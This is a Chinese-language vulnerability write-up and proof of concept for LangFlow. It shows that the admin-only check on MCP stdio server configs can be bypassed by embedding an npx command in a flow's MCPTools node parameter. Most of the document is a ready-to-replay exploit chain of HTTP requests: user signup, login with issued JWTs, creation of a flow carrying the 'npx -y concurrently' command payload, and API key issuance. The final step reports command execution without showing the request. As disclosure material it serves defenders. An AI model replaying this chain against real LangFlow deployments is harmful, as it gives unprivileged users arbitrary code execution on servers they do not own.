LangFlow任意 npm/PyPI 包代码执行漏洞
MCP stdio 服务器配置的授权检查仅部署于 REST 层,经流程图组件参数路径可完全绕过,导致任意 npm/PyPI 包执行
漏洞描述
MCP stdio 服务器配置的授权检查仅部署于 REST 层,经流程图组件参数路径可完全绕过,导致任意 npm/PyPI 包执行
环境搭建
搭建加固后的非开发环境的langflow,只开通公开注册功能
LANGFLOW_NEW_USER_IS_ACTIVE=true
LANGFLOW_ENABLE_SIGNUP=true
python3 -m venv .venv
.venv/bin/pip install --upgrade pip
.venv/bin/pip install langflow放到当前目录prod.env
LANGFLOW_AUTO_LOGIN=false
# 关闭匿名超管签发。默认 true 时 GET /api/v1/auto_login 零凭据返回超管 JWT
LANGFLOW_SUPERUSER=admin
LANGFLOW_SUPERUSER_PASSWORD=Admin@123
# 真实管理员账户,替代 AUTO_LOGIN 的内置超管。
LANGFLOW_NEW_USER_IS_ACTIVE=true
# 开启不用审批
LANGFLOW_ENABLE_SIGNUP=true
# 开启公开注册
LANGFLOW_WEBHOOK_AUTH_ENABLE=true
# webhook 端点要求 API key(该项默认已为 true,显式声明)。
LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false
# 核心加固:仅允许执行与服务端已知模板哈希一致的组件代码。
# 直接目的是关闭 LF-02(用户提交任意 Python 源码被服务端 compile+exec)。
LANGFLOW_CUSTOM_COMPONENT_ADMIN_ONLY=true
# 第二道:组件代码编辑限制为管理员。与上一条构成"代码执行"的双闸门。
LANGFLOW_RESTRICT_LOCAL_FILE_ACCESS=true
# 内置文件类组件只允许读用户存储目录内的路径。
# 关闭 LF-03 的入口(读 ~/.cache/langflow/secret_key)。
LANGFLOW_FALLBACK_TO_ENV_VAR=false
# 全局变量解析禁止回退读进程环境变量,防止流程读取服务器环境中的
# 未列入 denylist 的第三方密钥。
LANGFLOW_CONNECTOR_SSRF_ALLOW_LOOPBACK=false
# 连接器类组件禁止访问 loopback,压缩 SSRF 面。
LANGFLOW_CORS_ORIGINS=http://192.168.102.154:7861
# CORS 从默认 * 收紧为显式白名单。
LANGFLOW_MCP_SERVER_DOCKER_HARDENING=true
# MCP docker 传输启用严格旗标策略(禁 -v 挂载、--network host 等)。
LANGFLOW_MCP_SERVER_INTERPRETER_HARDENING=true
# MCP stdio 禁止 python/node 直调入口(python3 -c / node script 等形态被拒)。
LANGFLOW_DATABASE_URL=sqlite:////home/kali/lf-hardened/prod_langflow.db
DO_NOT_TRACK=true启动langflow
./.venv/bin/python -m langflow run --host 0.0.0.0 --port 7861 --no-dev --no-open-browser --env-file prod.env漏洞原理
Langflow 对 MCP stdio 类型的服务器配置实现了管理员专属授权检查 ensure_mcp_stdio_access:当代码执行受限策略生效(allow_custom_components=false 或 custom_component_admin_only=true)时,仅超级用户可配置 stdio 服务器。
使用注册的账户配置stdio服务器时,显示没有权限,仅允许administrators来配置


在代码langflow/api/v2/mcp.py:42:中
该检查存在位置缺陷:其在全项目中的四个调用点全部位于 /api/v2/mcp/servers REST 路由
def ensure_mcp_stdio_access(server_config: dict, current_user: CurrentActiveUser, settings: object) -> None:
"""Restrict local MCP processes when custom code execution is restricted."""
mode = server_config.get("mode")
is_stdio = bool(server_config.get("command")) or (isinstance(mode, str) and mode.lower() == "stdio")
code_execution_restricted = (
getattr(settings, "allow_custom_components", True) is False
or getattr(settings, "custom_component_admin_only", False) is True
)
if is_stdio and code_execution_restricted and getattr(current_user, "is_superuser", False) is not True:
raise HTTPException(
status_code=403,
detail="MCP stdio servers are restricted to administrators when custom code execution is restricted.",
)
而 MCP stdio 配置进入系统还有第二个入口:
流程图节点参数。经 POST /api/v1/flows/ 创建携带 stdio 配置的 MCPTools 组件、POST /api/v1/run/{flow_id} 触发执行时,调用链 update_tools → _connect_to_server → anyio.open_process 在进程拉起边界不做任何调用者身份检查。
源码注释表明开发者已认识到"flow 内嵌配置绕过 REST 层校验"的威胁并做过应对,但 validate_mcp_stdio_config 只覆盖命令、参数、环境变量三个维度,不含调用者身份
https://github.com/langflow-ai/langflow/blob/09ef6b2b7119e35a6787fc249f916f8b47b28615/src/backend/base/langflow/api/v2/mcp.py

进程被真正启动之前的最后一道检查,也只查命令内容、不查谁在调用,进程经 MCP SDK 的 anyio.open_process(POSIX)/ create_windows_process(Windows)拉起
https://github.com/langflow-ai/langflow/blob/09ef6b2b7119e35a6787fc249f916f8b47b28615/src/lfx/src/lfx/base/mcp/util.py#L1898


ALLOW_CUSTOM_COMPONENTS=false的设计意图是用户不许运行自己写的代码。只有服务器认识的、官方内置的组件代码才许跑,通过计算原版的组件hash来进行比对

创建组件被拒绝,同样只允许administrators

官方 MCPTools 模板源码经 GET /api/v1/all 对所有登录用户可见
http://192.168.102.154:7861/api/v1/all

通过获取到mcptools的原版代码,组件代码无需更改,恶意内容全部写在代码字段旁边的 mcp_server 参数里,而参数不参与哈希
mcp_server_allowed_packages 虽然是白名单限制,但是默认是关闭的
https://github.com/langflow-ai/langflow/blob/09ef6b2b7119e35a6787fc249f916f8b47b28615/src/lfx/src/lfx/services/settings/groups/mcp.py#L89

https://github.com/langflow-ai/langflow/blob/09ef6b2b7119e35a6787fc249f916f8b47b28615/src/lfx/src/lfx/base/mcp/source_policy.py#L220

只允许白名单里面的命令执行,同时对bash等命令进行了包装器的检查
https://github.com/langflow-ai/langflow/blob/09ef6b2b7119e35a6787fc249f916f8b47b28615/src/lfx/src/lfx/base/mcp/security.py#L47


漏洞复现
注册用户
POST /api/v1/users/ HTTP/1.1
Host: 192.168.102.154:7861
Content-Type: application/json
Content-Length: 37
{"username":"test","password":"test"}HTTP/1.1 201 Created
date: Wed, 19 Aug 2026 15:42:11 GMT
server: uvicorn
content-length: 330
content-type: application/json
{"id":"9f165dd8-5b43-488b-9c88-5492c75a6f24","username":"test","profile_image":null,"store_api_key":null,"is_active":true,"is_superuser":false,"create_at":"2026-08-19T15:42:11.906113","updated_at":"2026-08-19T15:42:11.906120","last_login_at":null,"optins":{"github_starred":false,"dialog_dismissed":false,"discord_clicked":false}}
登陆获取令牌Token,此Token用于后面的数据包中
POST /api/v1/login HTTP/1.1
Host: 192.168.102.154:7861
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
username=test&password=testHTTP/1.1 200 OK
date: Wed, 19 Aug 2026 15:43:05 GMT
server: uvicorn
content-length: 435
content-type: application/json
set-cookie: refresh_token_lf=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI5ZjE2NWRkOC01YjQzLTQ4OGItOWM4OC01NDkyYzc1YTZmMjQiLCJ0eXBlIjoicmVmcmVzaCIsImV4cCI6MTc4Nzc1ODk4Nn0.9r7GJqE8tgYbeap9TX93d6U8I6Qq5azaBmj6SG-4vts; expires=Wed, 26 Aug 2026 15:43:06 GMT; HttpOnly; Path=/; SameSite=lax
set-cookie: access_token_lf=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI5ZjE2NWRkOC01YjQzLTQ4OGItOWM4OC01NDkyYzc1YTZmMjQiLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxNzg3MTU3Nzg2fQ.Vlt6MtssrBbKCZ1EWHIj4nF-RJMJ3eDIn1kUzyIrhiU; expires=Wed, 19 Aug 2026 16:43:06 GMT; HttpOnly; Path=/; SameSite=lax
set-cookie: apikey_tkn_lflw=None; HttpOnly; Path=/; SameSite=lax
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI5ZjE2NWRkOC01YjQzLTQ4OGItOWM4OC01NDkyYzc1YTZmMjQiLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxNzg3MTU3Nzg2fQ.Vlt6MtssrBbKCZ1EWHIj4nF-RJMJ3eDIn1kUzyIrhiU","refresh_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI5ZjE2NWRkOC01YjQzLTQ4OGItOWM4OC01NDkyYzc1YTZmMjQiLCJ0eXBlIjoicmVmcmVzaCIsImV4cCI6MTc4Nzc1ODk4Nn0.9r7GJqE8tgYbeap9TX93d6U8I6Qq5azaBmj6SG-4vts","token_type":"bearer"}
获取mcptools模板源码
http://192.168.102.154:7861/api/v1/all

创建携带恶意参数的流程,将上面value中的模板源码原版复制到下面的请求包中,这里使用concurrently 来执行命令 "args": ["-y", "concurrently", "touch /tmp/langflow_success"]
POST /api/v1/flows/ HTTP/1.1
Host: TARGET:7861
Authorization: Bearer <TOKEN>
Content-Type: application/json
Content-Length: 58129
{
"name": "job-1787151281",
"description": "d",
"is_component": false,
"data": {
"nodes": [
{
"id": "m",
"type": "genericNode",
"position": {"x": 0, "y": 0},
"data": {
"id": "m",
"type": "MCPTools",
"display_name": "MCPTools",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"required": true,
"placeholder": "",
"list": false,
"show": true,
"multiline": true,
"value": "<MCPTools原样复制>"
},
"mcp_server": {
"type": "mcp",
"name": "mcp_server",
"value": {
"name": "helper",
"config": {
"command": "npx",
"args": ["-y", "concurrently", "touch /tmp/langflow_success"]
}
},
"required": false,
"placeholder": "",
"list": false,
"show": true,
"_input_type": "MCPInput"
}
},
"outputs": [
{
"name": "response",
"display_name": "R",
"method": "build_output",
"types": ["Tool"],
"selected": "Tool",
"cache": true,
"allow_multiple": false
}
],
"description": "d",
"base_classes": ["object"],
"display_name": "MCPTools"
}
}
}
],
"edges": [],
"viewport": {}
}
}创建成功,这个id记住,后面要用

签发key
POST /api/v1/api_key/ HTTP/1.1
Host: TARGET:7861
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI5ZjE2NWRkOC01YjQzLTQ4OGItOWM4OC01NDkyYzc1YTZmMjQiLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxNzg3MTU3Nzg2fQ.Vlt6MtssrBbKCZ1EWHIj4nF-RJMJ3eDIn1kUzyIrhiU
Content-Type: application/json
Content-Length: 19
{"name":"demo-key"}
成功执行命令
